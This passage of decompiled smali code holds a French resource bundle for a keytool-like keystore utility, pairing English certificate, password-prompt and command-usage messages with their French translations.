                                                                              852const-string v3, "alias has no X.509 certificate"
                                                                              853aput-object v3, v2, v4
                                                                              855const-string v3, "{0} ne poss\u00e8de pas de certificat X.509"
                                                                              856aput-object v3, v2, v5
                                                                              857aput-object v2, v0, v1
                                                                              858const/16 v1, 0x5f
                                                                              859new-array v2, v6, [Ljava/lang/Object;
                                                                              861const-string v3, "New certificate (self-signed):"
                                                                              862aput-object v3, v2, v4
                                                                              864const-string v3, "Nouveau certificat (auto-sign\u00e9) :"
                                                                              865aput-object v3, v2, v5
                                                                              866aput-object v2, v0, v1
                                                                              867const/16 v1, 0x60
                                                                              868new-array v2, v6, [Ljava/lang/Object;
                                                                              870const-string v3, "Reply has no certificates"
                                                                              871aput-object v3, v2, v4
                                                                              873const-string v3, "La r\u00e9ponse n\'a pas de certificat"
                                                                              874aput-object v3, v2, v5
                                                                              875aput-object v2, v0, v1
                                                                              876const/16 v1, 0x61
                                                                              877new-array v2, v6, [Ljava/lang/Object;
                                                                              879const-string v3, "Certificate not imported, alias <alias> already exists"
                                                                              880aput-object v3, v2, v4
                                                                              882const-string v3, "Certificat non import\u00e9, l\'\'alias <{0}> existe d\u00e9j\u00e0"
                                                                              883aput-object v3, v2, v5
                                                                              884aput-object v2, v0, v1
                                                                              885const/16 v1, 0x62
                                                                              886new-array v2, v6, [Ljava/lang/Object;
                                                                              888const-string v3, "Input not an X.509 certificate"
                                                                              889aput-object v3, v2, v4
                                                                              891const-string v3, "L\'entr\u00e9e n\'est pas un certificat X.509"
                                                                              892aput-object v3, v2, v5
                                                                              893aput-object v2, v0, v1
                                                                              894const/16 v1, 0x63
                                                                              895new-array v2, v6, [Ljava/lang/Object;
                                                                              897const-string v3, "Certificate already exists in keystore under alias <trustalias>"
                                                                              898aput-object v3, v2, v4
                                                                              900const-string v3, "Le certificat existe d\u00e9j\u00e0 dans le Keystore sous l\'\'alias <{0}>"
                                                                              901aput-object v3, v2, v5
                                                                              902aput-object v2, v0, v1
                                                                              903const/16 v1, 0x64
                                                                              904new-array v2, v6, [Ljava/lang/Object;
                                                                              906const-string v3, "Do you still want to add it? [no]: "
                                                                              907aput-object v3, v2, v4
                                                                              909const-string v3, "Voulez-vous toujours l\'ajouter ? [non] : "
                                                                              910aput-object v3, v2, v5
                                                                              911aput-object v2, v0, v1
                                                                              912const/16 v1, 0x65
                                                                              913new-array v2, v6, [Ljava/lang/Object;
                                                                              915const-string v3, "Certificate already exists in system-wide CA keystore under alias <trustalias>"
                                                                              916aput-object v3, v2, v4
                                                                              918const-string v3, "Le certificat existe d\u00e9j\u00e0 dans le Keystore CA syst\u00e8me sous l\'\'alias <{0}>alias <{0}>"
                                                                              919aput-object v3, v2, v5
                                                                              920aput-object v2, v0, v1
                                                                              921const/16 v1, 0x66
                                                                              922new-array v2, v6, [Ljava/lang/Object;
                                                                              924const-string v3, "Do you still want to add it to your own keystore? [no]: "
                                                                              925aput-object v3, v2, v4
                                                                              927const-string v3, "Voulez-vous toujours l\'ajouter \u00e0 votre Keystore ? [non] : "
                                                                              928aput-object v3, v2, v5
                                                                              929aput-object v2, v0, v1
                                                                              930const/16 v1, 0x67
                                                                              931new-array v2, v6, [Ljava/lang/Object;
                                                                              933const-string v3, "Trust this certificate? [no]: "
                                                                              934aput-object v3, v2, v4
                                                                              936const-string v3, "Faire confiance \u00e0 ce certificat ? [non] : "
                                                                              937aput-object v3, v2, v5
                                                                              938aput-object v2, v0, v1
                                                                              939const/16 v1, 0x68
                                                                              940new-array v2, v6, [Ljava/lang/Object;
                                                                              942const-string v3, "YES"
                                                                              943aput-object v3, v2, v4
                                                                              945const-string v3, "OUI"
                                                                              946aput-object v3, v2, v5
                                                                              947aput-object v2, v0, v1
                                                                              948const/16 v1, 0x69
                                                                              949new-array v2, v6, [Ljava/lang/Object;
                                                                              951const-string v3, "New prompt: "
                                                                              952aput-object v3, v2, v4
                                                                              954const-string v3, "Nouveau {0} : "
                                                                              955aput-object v3, v2, v5
                                                                              956aput-object v2, v0, v1
                                                                              957const/16 v1, 0x6a
                                                                              958new-array v2, v6, [Ljava/lang/Object;
                                                                              960const-string v3, "Passwords must differ"
                                                                              961aput-object v3, v2, v4
                                                                              963const-string v3, "Les mots de passe doivent diff\u00e9rer"
                                                                              964aput-object v3, v2, v5
                                                                              965aput-object v2, v0, v1
                                                                              966const/16 v1, 0x6b
                                                                              967new-array v2, v6, [Ljava/lang/Object;
                                                                              969const-string v3, "Re-enter new prompt: "
                                                                              970aput-object v3, v2, v4
                                                                              972const-string v3, "Sp\u00e9cifiez nouveau {0} : "
                                                                              973aput-object v3, v2, v5
                                                                              974aput-object v2, v0, v1
                                                                              975const/16 v1, 0x6c
                                                                              976new-array v2, v6, [Ljava/lang/Object;
                                                                              978const-string v3, "Re-enter new password: "
                                                                              979aput-object v3, v2, v4
                                                                              981const-string v3, "Ressaisissez le nouveau mot de passe : "
                                                                              982aput-object v3, v2, v5
                                                                              983aput-object v2, v0, v1
                                                                              984const/16 v1, 0x6d
                                                                              985new-array v2, v6, [Ljava/lang/Object;
                                                                              987const-string v3, "They don\'t match. Try again"
                                                                              988aput-object v3, v2, v4
                                                                              990const-string v3, "ne correspondent pas. R\u00e9essayez."
                                                                              991aput-object v3, v2, v5
                                                                              992aput-object v2, v0, v1
                                                                              993const/16 v1, 0x6e
                                                                              994new-array v2, v6, [Ljava/lang/Object;
                                                                              996const-string v3, "Enter prompt alias name: "
                                                                              997aput-object v3, v2, v4
                                                                              999const-string v3, "Sp\u00e9cifiez le nom d\'\'alias {0} : "
                                                                              1000aput-object v3, v2, v5
                                                                              1001aput-object v2, v0, v1
                                                                              1002const/16 v1, 0x6f
                                                                              1003new-array v2, v6, [Ljava/lang/Object;
                                                                              1005const-string v3, "Enter new alias name\t(RETURN to cancel import for this entry): "
                                                                              1006aput-object v3, v2, v4
                                                                              1008const-string v3, "Saisissez le nom du nouvel alias\t(ou appuyez sur ENTR\u00c9E pour annuler l\'importation pour cette entr\u00e9e)\u00a0: "
                                                                              1009aput-object v3, v2, v5
                                                                              1010aput-object v2, v0, v1
                                                                              1011const/16 v1, 0x70
                                                                              1012new-array v2, v6, [Ljava/lang/Object;
                                                                              1014const-string v3, "Enter alias name: "
                                                                              1015aput-object v3, v2, v4
                                                                              1017const-string v3, "Sp\u00e9cifiez le nom d\'alias : "
                                                                              1018aput-object v3, v2, v5
                                                                              1019aput-object v2, v0, v1
                                                                              1020const/16 v1, 0x71
                                                                              1021new-array v2, v6, [Ljava/lang/Object;
                                                                              1023const-string v3, "\t(RETURN if same as for <otherAlias>)"
                                                                              1024aput-object v3, v2, v4
                                                                              1026const-string v3, "\t(appuyez sur Entr\u00e9e si le r\u00e9sultat est identique \u00e0 <{0}>)"
                                                                              1027aput-object v3, v2, v5
                                                                              1028aput-object v2, v0, v1
                                                                              1029const/16 v1, 0x72
                                                                              1030new-array v2, v6, [Ljava/lang/Object;
                                                                              1032const-string v3, "*PATTERN* printX509Cert"
                                                                              1033aput-object v3, v2, v4
                                                                              1035const-string v3, "Propri\u00e9taire\u00a0: {0}\n\u00c9metteur\u00a0: {1}\nNum\u00e9ro de s\u00e9rie\u00a0: {2}\nValide du\u00a0: {3} au\u00a0: {4}\nEmpreintes du certificat\u00a0:\n\t MD5\u00a0: {5}\n\t SHA1\u00a0: {6}\n\t Nom de l\'algorithme de signature\u00a0: {7}\n\t Version\u00a0: {8}"
                                                                              1036aput-object v3, v2, v5
                                                                              1037aput-object v2, v0, v1
                                                                              1038const/16 v1, 0x73
                                                                              1039new-array v2, v6, [Ljava/lang/Object;
                                                                              1041const-string v3, "What is your first and last name?"
                                                                              1042aput-object v3, v2, v4
                                                                              1044const-string v3, "Quels sont vos pr\u00e9nom et nom ?"
                                                                              1045aput-object v3, v2, v5
                                                                              1046aput-object v2, v0, v1
                                                                              1047const/16 v1, 0x74
                                                                              1048new-array v2, v6, [Ljava/lang/Object;
                                                                              1050const-string v3, "What is the name of your organizational unit?"
                                                                              1051aput-object v3, v2, v4
                                                                              1053const-string v3, "Quel est le nom de votre unit\u00e9 organisationnelle ?"
                                                                              1054aput-object v3, v2, v5
                                                                              1055aput-object v2, v0, v1
                                                                              1056const/16 v1, 0x75
                                                                              1057new-array v2, v6, [Ljava/lang/Object;
                                                                              1059const-string v3, "What is the name of your organization?"
                                                                              1060aput-object v3, v2, v4
                                                                              1062const-string v3, "Quelle est le nom de votre organisation ?"
                                                                              1063aput-object v3, v2, v5
                                                                              1064aput-object v2, v0, v1
                                                                              1065const/16 v1, 0x76
                                                                              1066new-array v2, v6, [Ljava/lang/Object;
                                                                              1068const-string v3, "What is the name of your City or Locality?"
                                                                              1069aput-object v3, v2, v4
                                                                              1071const-string v3, "Quel est le nom de votre ville de r\u00e9sidence ?"
                                                                              1072aput-object v3, v2, v5
                                                                              1073aput-object v2, v0, v1
                                                                              1074const/16 v1, 0x77
                                                                              1075new-array v2, v6, [Ljava/lang/Object;
                                                                              1077const-string v3, "What is the name of your State or Province?"
                                                                              1078aput-object v3, v2, v4
                                                                              1080const-string v3, "Quel est le nom de votre \u00e9tat ou province ?"
                                                                              1081aput-object v3, v2, v5
                                                                              1082aput-object v2, v0, v1
                                                                              1083const/16 v1, 0x78
                                                                              1084new-array v2, v6, [Ljava/lang/Object;
                                                                              1086const-string v3, "What is the two-letter country code for this unit?"
                                                                              1087aput-object v3, v2, v4
                                                                              1089const-string v3, "Quel est le code de pays \u00e0 deux lettres pour cette unit\u00e9 ?"
                                                                              1090aput-object v3, v2, v5
                                                                              1091aput-object v2, v0, v1
                                                                              1092const/16 v1, 0x79
                                                                              1093new-array v2, v6, [Ljava/lang/Object;
                                                                              1095const-string v3, "Is <name> correct?"
                                                                              1096aput-object v3, v2, v4
                                                                              1098const-string v3, "Est-ce {0} ?"
                                                                              1099aput-object v3, v2, v5
                                                                              1100aput-object v2, v0, v1
                                                                              1101const/16 v1, 0x7a
                                                                              1102new-array v2, v6, [Ljava/lang/Object;
                                                                              1104const-string v3, "no"
                                                                              1105aput-object v3, v2, v4
                                                                              1107const-string v3, "non"
                                                                              1108aput-object v3, v2, v5
                                                                              1109aput-object v2, v0, v1
                                                                              1110const/16 v1, 0x7b
                                                                              1111new-array v2, v6, [Ljava/lang/Object;
                                                                              1113const-string v3, "yes"
                                                                              1114aput-object v3, v2, v4
                                                                              1116const-string v3, "oui"
                                                                              1117aput-object v3, v2, v5
                                                                              1118aput-object v2, v0, v1
                                                                              1119const/16 v1, 0x7c
                                                                              1120new-array v2, v6, [Ljava/lang/Object;
                                                                              1122const-string v3, "y"
                                                                              1123aput-object v3, v2, v4
                                                                              1125const-string v3, "o"
                                                                              1126aput-object v3, v2, v5
                                                                              1127aput-object v2, v0, v1
                                                                              1128const/16 v1, 0x7d
                                                                              1129new-array v2, v6, [Ljava/lang/Object;
                                                                              1131const-string v3, " [defaultValue]: "
                                                                              1132aput-object v3, v2, v4
                                                                              1134const-string v3, " [{0}] : "
                                                                              1135aput-object v3, v2, v5
                                                                              1136aput-object v2, v0, v1
                                                                              1137const/16 v1, 0x7e
                                                                              1138new-array v2, v6, [Ljava/lang/Object;
                                                                              1140const-string v3, "Alias <alias> has no key"
                                                                              1141aput-object v3, v2, v4
                                                                              1143const-string v3, "L\'alias <{0}> n\'est associ\u00e9 \u00e0 aucune cl\u00e9"
                                                                              1144aput-object v3, v2, v5
                                                                              1145aput-object v2, v0, v1
                                                                              1146const/16 v1, 0x7f
                                                                              1147new-array v2, v6, [Ljava/lang/Object;
                                                                              1149const-string v3, "Alias <alias> references an entry type that is not a private key entry. The -keyclone command only supports cloning of private key entries"
                                                                              1150aput-object v3, v2, v4
                                                                              1152const-string v3, "L\'entr\u00e9e \u00e0 laquelle l\'alias <{0}> fait r\u00e9f\u00e9rence n\'est pas une entr\u00e9e de type cl\u00e9 priv\u00e9e. La commande -keyclone prend uniquement en charge le clonage des cl\u00e9s priv\u00e9es"
                                                                              1153aput-object v3, v2, v5
                                                                              1154aput-object v2, v0, v1
                                                                              1155const/16 v1, 0x80
                                                                              1156new-array v2, v6, [Ljava/lang/Object;
                                                                              1158const-string v3, "***************** WARNING WARNING WARNING *****************"
                                                                              1159aput-object v3, v2, v4
                                                                              1161const-string v3, "***************** A V E R T I S S E M E N T *****************"
                                                                              1162aput-object v3, v2, v5
                                                                              1163aput-object v2, v0, v1
                                                                              1164const/16 v1, 0x81
                                                                              1165new-array v2, v6, [Ljava/lang/Object;
                                                                              1167const-string v3, "* The integrity of the information stored in your keystore *"
                                                                              1168aput-object v3, v2, v4
                                                                              1170const-string v3, "* L\'int\u00e9grit\u00e9 des informations enregistr\u00e9es dans votre Keystore *"
                                                                              1171aput-object v3, v2, v5
                                                                              1172aput-object v2, v0, v1
                                                                              1173const/16 v1, 0x82
                                                                              1174new-array v2, v6, [Ljava/lang/Object;
                                                                              1176const-string v3, "* The integrity of the information stored in the srckeystore*"
                                                                              1177aput-object v3, v2, v4
                                                                              1179const-string v3, "* L\'int\u00e9grit\u00e9 des informations enregistr\u00e9es dans srckeystore*"
                                                                              1180aput-object v3, v2, v5
                                                                              1181aput-object v2, v0, v1
                                                                              1182const/16 v1, 0x83
                                                                              1183new-array v2, v6, [Ljava/lang/Object;
                                                                              1185const-string v3, "* has NOT been verified! In order to verify its integrity, *"
                                                                              1186aput-object v3, v2, v4
                                                                              1188const-string v3, "* n\'a PAS \u00e9t\u00e9 v\u00e9rifi\u00e9e ! Pour cela, *"
                                                                              1189aput-object v3, v2, v5
                                                                              1190aput-object v2, v0, v1
                                                                              1191const/16 v1, 0x84
                                                                              1192new-array v2, v6, [Ljava/lang/Object;
                                                                              1194const-string v3, "* you must provide your keystore password. *"
                                                                              1195aput-object v3, v2, v4
                                                                              1197const-string v3, "* vous devez sp\u00e9cifier le mot de passe de votre Keystore. *"
                                                                              1198aput-object v3, v2, v5
                                                                              1199aput-object v2, v0, v1
                                                                              1200const/16 v1, 0x85
                                                                              1201new-array v2, v6, [Ljava/lang/Object;
                                                                              1203const-string v3, "* you must provide the srckeystore password. *"
                                                                              1204aput-object v3, v2, v4
                                                                              1206const-string v3, "* vous devez fournir le mot de passe srckeystore. *"
                                                                              1207aput-object v3, v2, v5
                                                                              1208aput-object v2, v0, v1
                                                                              1209const/16 v1, 0x86
                                                                              1210new-array v2, v6, [Ljava/lang/Object;
                                                                              1212const-string v3, "Certificate reply does not contain public key for <alias>"
                                                                              1213aput-object v3, v2, v4
                                                                              1215const-string v3, "La r\u00e9ponse au certificat ne contient pas de cl\u00e9 publique pour <{0}>"
                                                                              1216aput-object v3, v2, v5
                                                                              1217aput-object v2, v0, v1
                                                                              1218const/16 v1, 0x87
                                                                              1219new-array v2, v6, [Ljava/lang/Object;
                                                                              1221const-string v3, "Incomplete certificate chain in reply"
                                                                              1222aput-object v3, v2, v4
                                                                              1224const-string v3, "Cha\u00eene de certificat incompl\u00e8te dans la r\u00e9ponse"
                                                                              1225aput-object v3, v2, v5
                                                                              1226aput-object v2, v0, v1
                                                                              1227const/16 v1, 0x88
                                                                              1228new-array v2, v6, [Ljava/lang/Object;
                                                                              1230const-string v3, "Certificate chain in reply does not verify: "
                                                                              1231aput-object v3, v2, v4
                                                                              1233const-string v3, "La cha\u00eene de certificat de la r\u00e9ponse ne concorde pas : "
                                                                              1234aput-object v3, v2, v5
                                                                              1235aput-object v2, v0, v1
                                                                              1236const/16 v1, 0x89
                                                                              1237new-array v2, v6, [Ljava/lang/Object;
                                                                              1239const-string v3, "Top-level certificate in reply:\n"
                                                                              1240aput-object v3, v2, v4
                                                                              1242const-string v3, "Certificat du plus haut niveau dans la r\u00e9ponse :\n"
                                                                              1243aput-object v3, v2, v5
                                                                              1244aput-object v2, v0, v1
                                                                              1245const/16 v1, 0x8a
                                                                              1246new-array v2, v6, [Ljava/lang/Object;
                                                                              1248const-string v3, "... is not trusted. "
                                                                              1249aput-object v3, v2, v4
                                                                              1251const-string v3, "... n\'est pas digne de confiance. "
                                                                              1252aput-object v3, v2, v5
                                                                              1253aput-object v2, v0, v1
                                                                              1254const/16 v1, 0x8b
                                                                              1255new-array v2, v6, [Ljava/lang/Object;
                                                                              1257const-string v3, "Install reply anyway? [no]: "
                                                                              1258aput-object v3, v2, v4
                                                                              1260const-string v3, "Installer la r\u00e9ponse quand m\u00eame ? [non] : "
                                                                              1261aput-object v3, v2, v5
                                                                              1262aput-object v2, v0, v1
                                                                              1263const/16 v1, 0x8c
                                                                              1264new-array v2, v6, [Ljava/lang/Object;
                                                                              1266const-string v3, "NO"
                                                                              1267aput-object v3, v2, v4
                                                                              1269const-string v3, "NON"
                                                                              1270aput-object v3, v2, v5
                                                                              1271aput-object v2, v0, v1
                                                                              1272const/16 v1, 0x8d
                                                                              1273new-array v2, v6, [Ljava/lang/Object;
                                                                              1275const-string v3, "Public keys in reply and keystore don\'t match"
                                                                              1276aput-object v3, v2, v4
                                                                              1278const-string v3, "Les cl\u00e9s publiques de la r\u00e9ponse et du Keystore ne concordent pas"
                                                                              1279aput-object v3, v2, v5
                                                                              1280aput-object v2, v0, v1
                                                                              1281const/16 v1, 0x8e
                                                                              1282new-array v2, v6, [Ljava/lang/Object;
                                                                              1284const-string v3, "Certificate reply and certificate in keystore are identical"
                                                                              1285aput-object v3, v2, v4
                                                                              1287const-string v3, "La r\u00e9ponse au certificat et le certificat du Keystore sont identiques"
                                                                              1288aput-object v3, v2, v5
                                                                              1289aput-object v2, v0, v1
                                                                              1290const/16 v1, 0x8f
                                                                              1291new-array v2, v6, [Ljava/lang/Object;
                                                                              1293const-string v3, "Failed to establish chain from reply"
                                                                              1294aput-object v3, v2, v4
                                                                              1296const-string v3, "Impossible de cr\u00e9er une cha\u00eene \u00e0 partir de la r\u00e9ponse"
                                                                              1297aput-object v3, v2, v5
                                                                              1298aput-object v2, v0, v1
                                                                              1299const/16 v1, 0x90
                                                                              1300new-array v2, v6, [Ljava/lang/Object;
                                                                              1302const-string v3, "n"
                                                                              1303aput-object v3, v2, v4
                                                                              1305const-string v3, "n"
                                                                              1306aput-object v3, v2, v5
                                                                              1307aput-object v2, v0, v1
                                                                              1308const/16 v1, 0x91
                                                                              1309new-array v2, v6, [Ljava/lang/Object;
                                                                              1311const-string v3, "Wrong answer, try again"
                                                                              1312aput-object v3, v2, v4
                                                                              1314const-string v3, "R\u00e9ponse incorrecte, recommencez"
                                                                              1315aput-object v3, v2, v5
                                                                              1316aput-object v2, v0, v1
                                                                              1317const/16 v1, 0x92
                                                                              1318new-array v2, v6, [Ljava/lang/Object;
                                                                              1320const-string v3, "Secret key not generated, alias <alias> already exists"
                                                                              1321aput-object v3, v2, v4
                                                                              1323const-string v3, "Cl\u00e9 secr\u00e8te non g\u00e9n\u00e9r\u00e9e, l\'alias <{0}> existe d\u00e9j\u00e0"
                                                                              1324aput-object v3, v2, v5
                                                                              1325aput-object v2, v0, v1
                                                                              1326const/16 v1, 0x93
                                                                              1327new-array v2, v6, [Ljava/lang/Object;
                                                                              1329const-string v3, "Please provide -keysize for secret key generation"
                                                                              1330aput-object v3, v2, v4
                                                                              1332const-string v3, "Veuillez sp\u00e9cifier -keysize pour la g\u00e9n\u00e9ration de la cl\u00e9 secr\u00e8te"
                                                                              1333aput-object v3, v2, v5
                                                                              1334aput-object v2, v0, v1
                                                                              1335const/16 v1, 0x94
                                                                              1336new-array v2, v6, [Ljava/lang/Object;
                                                                              1338const-string v3, "keytool usage:\n"
                                                                              1339aput-object v3, v2, v4
                                                                              1341const-string v3, "Syntaxe keytool :\n"
                                                                              1342aput-object v3, v2, v5
                                                                              1343aput-object v2, v0, v1
                                                                              1344const/16 v1, 0x95
                                                                              1345new-array v2, v6, [Ljava/lang/Object;
                                                                              1347const-string v3, "Extensions: "
                                                                              1348aput-object v3, v2, v4
                                                                              1350const-string v3, "Extensions\u00a0: "
                                                                              1351aput-object v3, v2, v5
                                                                              1352aput-object v2, v0, v1
                                                                              1353const/16 v1, 0x96
                                                                              1354new-array v2, v6, [Ljava/lang/Object;
                                                                              1356const-string v3, "-certreq [-v] [-protected]"
                                                                              1357aput-object v3, v2, v4
                                                                              1359const-string v3, "-certreq [-v] [-protected]"
                                                                              1360aput-object v3, v2, v5
                                                                              1361aput-object v2, v0, v1
                                                                              1362const/16 v1, 0x97
                                                                              1363new-array v2, v6, [Ljava/lang/Object;
                                                                              1365const-string v3, "\t [-alias <alias>] [-sigalg <sigalg>]"
                                                                              1366aput-object v3, v2, v4
                                                                              1368const-string v3, "\t [-alias <alias>] [-sigalg <sigalg>]"
                                                                              1369aput-object v3, v2, v5
                                                                              1370aput-object v2, v0, v1
                                                                              1371const/16 v1, 0x98
                                                                              1372new-array v2, v6, [Ljava/lang/Object;
                                                                              1374const-string v3, "\t [-file <csr_file>] [-keypass <keypass>]"
                                                                              1375aput-object v3, v2, v4
                                                                              1377const-string v3, "\t [-file <csr_file>] [-keypass <mot_passe_cl\u00e9>]"
                                                                              1378aput-object v3, v2, v5
                                                                              1379aput-object v2, v0, v1
                                                                              1380const/16 v1, 0x99
                                                                              1381new-array v2, v6, [Ljava/lang/Object;
                                                                              1383const-string v3, "\t [-keystore <keystore>] [-storepass <storepass>]"
                                                                              1384aput-object v3, v2, v4
                                                                              1386const-string v3, "\t [-keystore <keystore>] [-storepass <mot_passe_store>]"
                                                                              1387aput-object v3, v2, v5
                                                                              1388aput-object v2, v0, v1
                                                                              1389const/16 v1, 0x9a
                                                                              1390new-array v2, v6, [Ljava/lang/Object;
                                                                              1392const-string v3, "\t [-storetype <storetype>] [-providername <name>]"
                                                                              1393aput-object v3, v2, v4
                                                                              1395const-string v3, "\t [-storetype <storetype>] [-providername <name>]"
                                                                              1396aput-object v3, v2, v5
                                                                              1397aput-object v2, v0, v1
                                                                              1398const/16 v1, 0x9b
                                                                              1399new-array v2, v6, [Ljava/lang/Object;
                                                                              1401const-string v3, "\t [-providerclass <provider_class_name> [-providerarg <arg>]] ..."
                                                                              1402aput-object v3, v2, v4
                                                                              1404const-string v3, "\t [-providerclass <provider_class_name> [-providerarg <arg>]] ..."
                                                                              1405aput-object v3, v2, v5
                                                                              1406aput-object v2, v0, v1
                                                                              1407const/16 v1, 0x9c
                                                                              1408new-array v2, v6, [Ljava/lang/Object;
                                                                              1410const-string v3, "\t [-providerpath <pathlist>]"
                                                                              1411aput-object v3, v2, v4
                                                                              1413const-string v3, "\t [-providerpath <pathlist>]"
                                                                              1414aput-object v3, v2, v5
                                                                              1415aput-object v2, v0, v1
                                                                              1416const/16 v1, 0x9d
                                                                              1417new-array v2, v6, [Ljava/lang/Object;
                                                                              1419const-string v3, "-delete [-v] [-protected] -alias <alias>"
                                                                              1420aput-object v3, v2, v4
                                                                              1422const-string v3, "-delete [-v] [-protected] -alias <alias>"
                                                                              1423aput-object v3, v2, v5
                                                                              1424aput-object v2, v0, v1
                                                                              1425const/16 v1, 0x9e
                                                                              1426new-array v2, v6, [Ljava/lang/Object;
                                                                              1428const-string v3, "-exportcert [-v] [-rfc] [-protected]"
                                                                              1429aput-object v3, v2, v4
                                                                              1431const-string v3, "-exportcert [-v] [-rfc] [-protected]"
                                                                              1432aput-object v3, v2, v5
                                                                              1433aput-object v2, v0, v1
                                                                              1434const/16 v1, 0x9f
                                                                              1435new-array v2, v6, [Ljava/lang/Object;
                                                                              1437const-string v3, "\t [-alias <alias>] [-file <cert_file>]"
                                                                              1438aput-object v3, v2, v4
                                                                              1440const-string v3, "\t [-alias <alias>] [-file <fichier_cert>]"
                                                                              1441aput-object v3, v2, v5
                                                                              1442aput-object v2, v0, v1
                                                                              1443const/16 v1, 0xa0
                                                                              1444new-array v2, v6, [Ljava/lang/Object;
                                                                              1446const-string v3, "-genkeypair [-v] [-protected]"
                                                                              1447aput-object v3, v2, v4
                                                                              1449const-string v3, "-genkeypair [-v] [-protected]"
                                                                              1450aput-object v3, v2, v5
                                                                              1451aput-object v2, v0, v1
                                                                              1452const/16 v1, 0xa1
                                                                              1453new-array v2, v6, [Ljava/lang/Object;
                                                                              1455const-string v3, "\t [-alias <alias>]"
                                                                              1456aput-object v3, v2, v4
                                                                              1458const-string v3, "\t [-alias <alias>]"
                                                                              1459aput-object v3, v2, v5
                                                                              1460aput-object v2, v0, v1
                                                                              1461const/16 v1, 0xa2
                                                                              1462new-array v2, v6, [Ljava/lang/Object;
                                                                              1464const-string v3, "\t [-keyalg <keyalg>] [-keysize <keysize>]"
                                                                              1465aput-object v3, v2, v4
                                                                              1467const-string v3, "\t [-keyalg <keyalg>] [-keysize <taille_cl\u00e9>]"
                                                                              1468aput-object v3, v2, v5
                                                                              1469aput-object v2, v0, v1
                                                                              1470const/16 v1, 0xa3
                                                                              1471new-array v2, v6, [Ljava/lang/Object;
                                                                              1473const-string v3, "\t [-sigalg <sigalg>] [-dname <dname>]"
                                                                              1474aput-object v3, v2, v4
                                                                              1476const-string v3, "\t [-sigalg <sigalg>] [-dname <nomd>]"
                                                                              1477aput-object v3, v2, v5
                                                                              1478aput-object v2, v0, v1
                                                                              1479const/16 v1, 0xa4
                                                                              1480new-array v2, v6, [Ljava/lang/Object;
                                                                              1482const-string v3, "\t [-validity <valDays>] [-keypass <keypass>]"
                                                                              1483aput-object v3, v2, v4
                                                                              1485const-string v3, "\t [-validity <joursVal>] [-keypass <mot_passe_cl\u00e9>]"
                                                                              1486aput-object v3, v2, v5
                                                                              1487aput-object v2, v0, v1
                                                                              1488const/16 v1, 0xa5
                                                                              1489new-array v2, v6, [Ljava/lang/Object;
                                                                              1491const-string v3, "-genseckey [-v] [-protected]"
                                                                              1492aput-object v3, v2, v4
                                                                              1494const-string v3, "-genkeypair [-v] [-protected]"
                                                                              1495aput-object v3, v2, v5
                                                                              1496aput-object v2, v0, v1
                                                                              1497const/16 v1, 0xa6
                                                                              1498new-array v2, v6, [Ljava/lang/Object;
                                                                              1500const-string v3, "-help"
                                                                              1501aput-object v3, v2, v4
                                                                              1503const-string v3, "-help"
                                                                              1504aput-object v3, v2, v5
                                                                              1505aput-object v2, v0, v1
                                                                              1506const/16 v1, 0xa7
                                                                              1507new-array v2, v6, [Ljava/lang/Object;
                                                                              1509const-string v3, "-importcert [-v] [-noprompt] [-trustcacerts] [-protected]"
                                                                              1510aput-object v3, v2, v4
                                                                              1512const-string v3, "-importcert [-v] [-noprompt] [-trustcacerts] [-protected]"
                                                                              1513aput-object v3, v2, v5
                                                                              1514aput-object v2, v0, v1
                                                                              1515const/16 v1, 0xa8
                                                                              1516new-array v2, v6, [Ljava/lang/Object;
                                                                              1518const-string v3, "\t [-alias <alias>]"
                                                                              1519aput-object v3, v2, v4
                                                                              1521const-string v3, "\t [-alias <alias>]"
                                                                              1522aput-object v3, v2, v5
                                                                              1523aput-object v2, v0, v1
                                                                              1524const/16 v1, 0xa9
                                                                              1525new-array v2, v6, [Ljava/lang/Object;
                                                                              1527const-string v3, "\t [-alias <alias>] [-keypass <keypass>]"
                                                                              1528aput-object v3, v2, v4
                                                                              1530const-string v3, "\t [-alias <alias>] [-keypass <keypass>]"
                                                                              1531aput-object v3, v2, v5
                                                                              1532aput-object v2, v0, v1
                                                                              1533const/16 v1, 0xaa
                                                                              1534new-array v2, v6, [Ljava/lang/Object;
                                                                              1536const-string v3, "\t [-file <cert_file>] [-keypass <keypass>]"
                                                                              1537aput-object v3, v2, v4
                                                                              1539const-string v3, "\t [-file <fichier_cert>] [-keypass <mot_passe_cl\u00e9>]"
                                                                              1540aput-object v3, v2, v5
                                                                              1541aput-object v2, v0, v1
                                                                              1542const/16 v1, 0xab
                                                                              1543new-array v2, v6, [Ljava/lang/Object;
                                                                              1545const-string v3, "-importkeystore [-v] "
                                                                              1546aput-object v3, v2, v4
                                                                              1548const-string v3, "-importkeystore [-v] "
                                                                              1549aput-object v3, v2, v5
                                                                              1550aput-object v2, v0, v1
                                                                              1551const/16 v1, 0xac
                                                                              1552new-array v2, v6, [Ljava/lang/Object;
                                                                              1554const-string v3, "\t [-srckeystore <srckeystore>] [-destkeystore <destkeystore>]"
                                                                              1555aput-object v3, v2, v4
                                                                              1557const-string v3, "\t [-srckeystore <srckeystore>] [-destkeystore <destkeystore>]"
                                                                              1558aput-object v3, v2, v5
                                                                              1559aput-object v2, v0, v1
                                                                              1560const/16 v1, 0xad
                                                                              1561new-array v2, v6, [Ljava/lang/Object;
                                                                              1563const-string v3, "\t [-srcstoretype <srcstoretype>] [-deststoretype <deststoretype>]"
                                                                              1564aput-object v3, v2, v4
                                                                              1566const-string v3, "\t [-srcstoretype <srcstoretype>] [-deststoretype <deststoretype>]"
                                                                              1567aput-object v3, v2, v5
                                                                              1568aput-object v2, v0, v1
                                                                              1569const/16 v1, 0xae
                                                                              1570new-array v2, v6, [Ljava/lang/Object;
                                                                              1572const-string v3, "\t [-srcprotected] [-destprotected]"
                                                                              1573aput-object v3, v2, v4
                                                                              1575const-string v3, "\t [-srcprotected] [-destprotected]"
                                                                              1576aput-object v3, v2, v5
                                                                              1577aput-object v2, v0, v1
                                                                              1578const/16 v1, 0xaf
                                                                              1579new-array v2, v6, [Ljava/lang/Object;
                                                                              1581const-string v3, "\t [-srcstorepass <srcstorepass>] [-deststorepass <deststorepass>]"
                                                                              1582aput-object v3, v2, v4
                                                                              1584const-string v3, "\t [-srcstorepass <srcstorepass>] [-deststorepass <deststorepass>]"
                                                                              1585aput-object v3, v2, v5
                                                                              1586aput-object v2, v0, v1
                                                                              1587const/16 v1, 0xb0
                                                                              1588new-array v2, v6, [Ljava/lang/Object;
                                                                              1590const-string v3, "\t [-srcprovidername <srcprovidername>]\n\t [-destprovidername <destprovidername>]"
                                                                              1591aput-object v3, v2, v4
